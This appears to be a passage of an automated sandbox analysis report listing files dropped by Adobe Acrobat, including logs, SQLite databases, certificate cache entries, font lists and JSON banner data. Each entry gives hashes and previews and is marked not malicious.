Size (bytes):	324
Entropy (8bit):	5.2320178152237435
Encrypted:	false
SSDEEP:	6:iO4qccdMq2Pwkn2nKuAl9OmbzNMxIFUtSqccxZmwsqccrkwOwkn2nKuAl9OmbzNq:7ycavYfHAa8jFUtocx/ucr5JfHAa84J
MD5:	9A71A4CF7A1D3924AEF6AB0E7AAC83D4
SHA1:	36AD7E2AD277F2CB3766E6BA0E0FA5AC89FC4389
SHA-256:	0E99BA862931882EC13400E208D3E49E0D5A3D8B47099944F1425F7FEB34505C
SHA-512:	10F0B9775BC65AB8B31A74FF1824726EE119F5E54726A385A0DB64C947A280E080277D38676BF0207F89C18F0540945ECC9433A1DB95FA27E15931BF8A290761
Malicious:	false
Preview:	2025/01/10-21:26:49.367 1f94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:26:49.369 1f94 Recovering log #3.2025/01/10-21:26:49.369 1f94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.2320178152237435
Encrypted:	false
SSDEEP:	6:iO4qccdMq2Pwkn2nKuAl9OmbzNMxIFUtSqccxZmwsqccrkwOwkn2nKuAl9OmbzNq:7ycavYfHAa8jFUtocx/ucr5JfHAa84J
MD5:	9A71A4CF7A1D3924AEF6AB0E7AAC83D4
SHA1:	36AD7E2AD277F2CB3766E6BA0E0FA5AC89FC4389
SHA-256:	0E99BA862931882EC13400E208D3E49E0D5A3D8B47099944F1425F7FEB34505C
SHA-512:	10F0B9775BC65AB8B31A74FF1824726EE119F5E54726A385A0DB64C947A280E080277D38676BF0207F89C18F0540945ECC9433A1DB95FA27E15931BF8A290761
Malicious:	false
Preview:	2025/01/10-21:26:49.367 1f94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:26:49.369 1f94 Recovering log #3.2025/01/10-21:26:49.369 1f94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444527161469286
Encrypted:	false
SSDEEP:	384:yezci5t468aiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rYs3OazzU89UTTgUL
MD5:	6E9C2F7993058F0CD1E6CFDCA3DF246D
SHA1:	BD5AA81F8A27D5003E6AFA476028B5D523E7DF73
SHA-256:	90B56890790EE2932D623CAA02295838E7496D46EFF1D992AC98C06ED99BDC0B
SHA-512:	E096405CD574CC511FDA611A975BA1416C0235195FCCB8D2FDDBEE32D7E442F46B927B338C0F53369C7B0AF5C5ABCCDA99E47F2C493AFD672725AF7C3C6B9FCE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7728083093117477
Encrypted:	false
SSDEEP:	48:7MLp/E2ioyVj3ioy9oWoy1Cwoy1S0KOioy1noy1AYoy1Wioy1hioybioykoy1nos:7wpjuj3FR4XKQJRnb9IVXEBodRBk1
MD5:	38D5C7E43ADCF3B0BCCDD0B72E9D8CA3
SHA1:	26EDC057D4AAFDCE735D2ED4137D84A1DFDA4D00
SHA-256:	27ED5D283BA33F5D39F472B6CE1E45B206470634EE4668BCC9FC2D6E82D31BD2
SHA-512:	9B53C75B12E192859928AC776219159AB3FE0B11D922CDA238162A0D7DA8A0491B6FA29716FFEEF67386BA3AB75CF7FE9F8E22955CF6FEFE69C6875522FD317A
Malicious:	false
Preview:	.... .c........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkl8VmL/tfllXlE/HT8kClh1NNX8RolJuRdxLlGB9lQRYwpDdt:kKlk/eT8P7NMa8RdWBwRd
MD5:	0A7EDEECC3BA82138AEF5D6322940F98
SHA1:	7856B9EC913F3A8B01F542D832B602839E55251B
SHA-256:	C5EB6BB4EF6149426525969785EFE34D7618843999DACB96EDEA0B7ADC2A495B
SHA-512:	101236022B4FDD8342F7A251BC9132208B21EF11C982951948A3AAA989FF034EA3005741700C0E2AD548F6D9DE5E7694A31CD1F0820DC8DB9531C67A34DF8AD1
Malicious:	false
Preview:	p...... ...........H.c..(....................................................... ..........W....g...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kK/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:XiDImsLNkPlE99SNxAhUe/3
MD5:	C929C20A84031F562AD23C11CA7181E6
SHA1:	FDBBFF7488408AC69869D8BFCEC55F992A2E8314
SHA-256:	FFF3F3504E924B6A9CC7614A60977B55F2C841BE1867323EC043414C95F11EB2
SHA-512:	6F10A69B4C1D46E1BDB4FEA77FAD589D1E8C8D9789B154447A5A51FF7780896AEFC40924D81E65D5C0B9F1E90E98DE8301912D358D3E40D558FBC6E3CD5509BA
Malicious:	false
Preview:	p...... .........-.[.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7660

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7660

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.365229809913929
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQIRulXHHVoZcg1vRcR0Y0LVKoAvJM3g98kUwPeUkwRe9:YvXKXQIRuVWZc0vvGMbLUkee9
MD5:	8D94E305C762BFC120B59822604161EF
SHA1:	6C4935854FCE7D2F9F2CB7833C7DD286FA896306
SHA-256:	3F8F98DEE8991122074C1098675A8880B6E9E3EEA396CBA20E233139194E35FD
SHA-512:	7EF81D944B0C758991405ECB4C9B0B76D5E52F6308532CCFB25DEDCE8DBAA73483B3B56C078E981E6EFF9A1A4F615ABCC22A38D8EFA175DE7284DF783DCE9F10
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f0251827-8cfb-48e7-9177-3e3453ffa5a5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742239059,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.312882644727636
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQIRulXHHVoZcg1vRcR0Y0LVKoAvJfBoTfXpnrPeUkwRe9:YvXKXQIRuVWZc0vvGWTfXcUkee9
MD5:	7B482E277E5F7DBE0CC389C485832C1B
SHA1:	CFF6986D5FA1E4236FE5B7EBA2D0990E48561084
SHA-256:	BB79939ADD5F04F7D3FB0FB1E8E7F3105FD6E531EDE2027A83D2558B24DEE9C8
SHA-512:	1E64DED9AEA36921B18361558F0ABCFD79C3ADCCC1EFDDEA4E05CF74D7EAD182B6716760A31A408465A01D24EE11904F4F19A3EA3ADEF781894134E5E87969C5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f0251827-8cfb-48e7-9177-3e3453ffa5a5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742239059,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.291877680122711
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQIRulXHHVoZcg1vRcR0Y0LVKoAvJfBD2G6UpnrPeUkwRe9:YvXKXQIRuVWZc0vvGR22cUkee9
MD5:	4100E78B11496B4C608A0E27289B5FDC
SHA1:	4703B8EF39B42A15467CA516A96E15FC573748B3
SHA-256:	8BEB6B39974BCEA76012AA1461B858FBE2881D960266FC6D1E1A0A0309710EAF
SHA-512:	D1DCB9D87B61055870C23BBD8A507C57FA9F3D1FFBEAD9D5F62697DFA3D00E2E213805935191C5DFDDAE9E27A102987459386C89BA29C5F4E65CE4061E5A1D38
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f0251827-8cfb-48e7-9177-3e3453ffa5a5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742239059,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.352305804656343
Encrypted:	false
SSDEEP:	6:YEQXJ2HXQIRulXHHVoZcg1vRcR0Y0LVKoAvJfPmwrPeUkwRe9:YvXKXQIRuVWZc0vvGH56Ukee9
MD5:	83D6DA827520F982F5E8DF75B0E5B10F
SHA1:	E5CE4AF985C9ACFEA8A0228EA99E1BF09A320429
SHA-256:	8A6E07A2590E4E07415ACB572E5B816678BA0FFDD5549A3520D89F6E7B87FD4D
SHA-512:	60E32C4EF17472C1173E14E33CE200BEBF134251F115486D8C2B4AE31C2373D3929108DCF9437A8F90807BEF162077EC32474AF1E19CA5FF6169C73CCC9CBF18
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f0251827-8cfb-48e7-9177-3e3453ffa5a5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742239059,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.693942152535571
Encrypted:	false
SSDEEP:	24:Yv6XTuVWzv0pLgE9cQx8LennAvzBvkn0RCmK8czOCCSb:YvU8hgy6SAFv5Ah8cv/b
MD5:	3F8AA96474B8851210F81B9CE32373C0
SHA1:	130D3B1B312903BDF0D3698538DA300EBA0FA9DD
SHA-256:	ACB69148BF71478F9F650DAC3D44ED0E61F97224EC6031C9E744D89C811EF4F4
SHA-512:	E98789DE023717DF7CD8534595B226B95E3BFD3F3EA4F5A1641488D3022FB5BAEBA509DE3D07BC2CE6ED019C17DF6695489C2E4B40BD6259765612A58294F7CB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f0251827-8cfb-48e7-9177-3e3453ffa5a5","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742239059,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
